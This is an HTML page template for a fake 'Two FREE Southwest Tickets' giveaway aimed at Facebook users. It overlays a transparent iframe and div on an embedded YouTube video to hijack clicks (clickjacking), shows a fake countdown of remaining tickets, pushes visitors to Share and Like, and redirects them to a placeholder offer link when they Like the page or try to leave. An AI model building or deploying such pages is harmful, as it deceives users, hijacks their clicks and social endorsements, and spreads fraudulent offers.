<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xmlns:og="http://ogp.me/ns#" xmlns:fb="http://www.facebook.com/2008/fbml">
<head>
    <title>{{title}}</title> 
    <meta property="og:title" content="{{title}}" /> 
    <meta property="og:site_name" content="{{title}}" /> 
    <meta property="og:image" content="{{shareimage}}" /> 
    <meta property="og:description" content="{{sharedesc}}" /> 
    <meta name="description" content="{{sharedesc}}" /> 
    <meta property="og:locale" content="en_US" /> 
    <meta property="og:url" content="http://{{host}}/{{mydir}}/{{fname}}" /> 
    <meta http-equiv="content-type" content="text/html; charset=UTF-8" />
    <link rel="stylesheet" href="style.css" type="text/css" />
</head>
<body onload='prepdoc();'>
	<div id="fb-root"></div>
    <script type="text/javascript" src="http://j.maxmind.com/app/country.js"></script>
    <script type="text/javascript" src="geo_redirect.js"></script>	
	<script type="text/javascript">
	 function findPosX(obj) {
    var curleft = 0;
    if(obj.offsetParent)
        while(1) 
        {
          curleft += obj.offsetLeft;
          if(!obj.offsetParent)
            break;
          obj = obj.offsetParent;
        }
    else 
	{
		if (obj)
		{
			if(obj.x)
			{
        		curleft += obj.x;
			}
		}
	}
    return curleft;
  }

  function findPosY(obj)
  {
    var curtop = 0;
    if(obj.offsetParent)
        while(1)
        {
          curtop += obj.offsetTop;
          if(!obj.offsetParent)
            break;
          obj = obj.offsetParent;
        }
    else 
	{
		if (obj) 
		{
			if(obj.y)
			{
        		curtop += obj.y;
			}
		}
	}
    return curtop;
  }


	function prepdoc()
	{
		document.getElementById("iframe").style.display="block";
		document.getElementById("div2").style.left=findPosX(document.getElementById("video"))+'px';
		document.getElementById("div2").style.top=findPosY(document.getElementById("video"))+'px';
		document.getElementById("iframe").style.left=findPosX(document.getElementById("video"))+'px';
		document.getElementById("iframe").style.top=findPosY(document.getElementById("video"))+'px';
	}
	
	 var redirecting= false;
	window.onbeforeunload = function() {if (redirecting) return;setTimeout(function() {redirecting= true;window.top.location.href= "{{offerlink}}";}, 1);};
     window.fbAsyncInit = function() {FB.Event.subscribe('edge.create', function(response) {redirecting=true; window.top.location.href= "{{offerlink}}";});};    
    </script>



  <script type="text/javascript"> 
    if(window.document.location.href.match('fb_xd_fragment')!=null)
    {
        var reg=/\?/
        window.document.location.href.match('fb_xd_fragment');
        var start=window.document.location.href.search(reg)
        window.location=window.document.location.href.substring(0,start);
    }
  </script> 

<script type="text/javascript">

var num=697;

function dothis(){

num--;

document.getElementById('cd').innerHTML=num;

setTimeout(" dothis()",2000);

}

</script> 


<br /><br />



	<div class="container">

		<div class="container-top">
			<h1>Two FREE Southwest Tickets</h1><br />
<font color="red">Free Tickets Remaining:</font> <span id='cd'>97</span>[ Coupon ID: {{coupon_id}} ] | Date: {{date_now|date:"M/d/y"}}<br></p><script type="text/javascript">dothis();</script><br />
		</div>

		<div class="container-middle">


			<!-- this iframe is above the Flash, but below the div, don't mess with it --> 

			<iframe 

				src="" 

				style="position: absolute; top: 0px; left: 0px; display: none; width: 800px; height: 385px; z-index: 5; filter:alpha(opacity=0); border:none; -moz-opacity:0.0; -khtml-opacity: 0.0; opacity: 0.0;"

				id="iframe" 

				frameborder="0" 

				scrolling="no"> 

			</iframe> 	    



			<!-- the div we want to be displayed above the Flash, onclick goes in this div if you want it.  don't mess with it if you don't know what you're doing. --> 

			<div style="position: absolute; top: 0px; left: 0px; z-index: 10; display: block; width: 800px; height: 385px; 
		    border: none; background: #fff; filter:alpha(opacity=0); -moz-opacity:0.0; -khtml-opacity: 0.0; opacity: 0.0;" id="div2">  

			</div> 



			<!-- this is the Flash element which we want as background -->
		    <br />	
		<div id="video" height="385" width="640">
		    <center>
		<object width="640" height="385"><param name="movie" value="http://www.youtube.com/v/{{initial_video}}?fs=1&amp;hl=en_US&amp;modestbranding=1&amp;version=3&amp;iv_load_policy=3&amp;controls=0&amp;loop=1{{playlist}}"></param><param name="allowFullScreen" value="true"></param><param name="allowscriptaccess" value="always"></param><embed src="http://www.youtube.com/v/{{initial_video}}?fs=1&amp;hl=en_US&autoplay=1&loop=1&modestbranding=1&version=3&iv_load_policy=3&controls=0{{playlist}}" type="application/x-shockwave-flash" allowscriptaccess="always" allowfullscreen="true" width="640" height="385" wmode="transparent"></embed></object>

		</center>
		</div>
			<h3>Follow the instructions for your free tickets!</h3>

<br />
<p><u>First Step</u>:<br /> Click Share Link<br /><br />

<script type="text/javascript">
      
   function open_new_window(URL)
   {
   NewWindow = window.open(URL,"_blank","toolbar=no,menubar=0,status=0,copyhistory=0,scrollbars=no,resizable=yes,location=0,Width=600,Height=550") ;
   NewWindow.location = URL;
   }
 </script>



 <a href="#" onClick="open_new_window('{{fb_share_url}}');"><img src="sharelink.png"></a>
</p>
<br /><br />
<u>Final Step</u>:<br /> Click Like<br />
			
<div class="like">
<center><fb:like href="http://{{host}}/{{mydir}}/{{fname}}" layout="button_count" ref="sidebar-max" send="false" show_faces="false" width="300"></fb:like><br /></center>
			</div>
<br />


				<script src="http://connect.facebook.net/en_US/all.js#xfbml=1"></script>
				<script src="http://static.ak.fbcdn.net/connect.php/js/FB.Share" type="text/javascript"></script>

			<div class="comments"></div>
		</div>
		<div class="container-bottom"></div>
		<div class="footer">
			<a href="#">About Us</a>
			<a href="#">Contact</a>
			<a href="#">Privacy Policy</a>
</body>
</html>
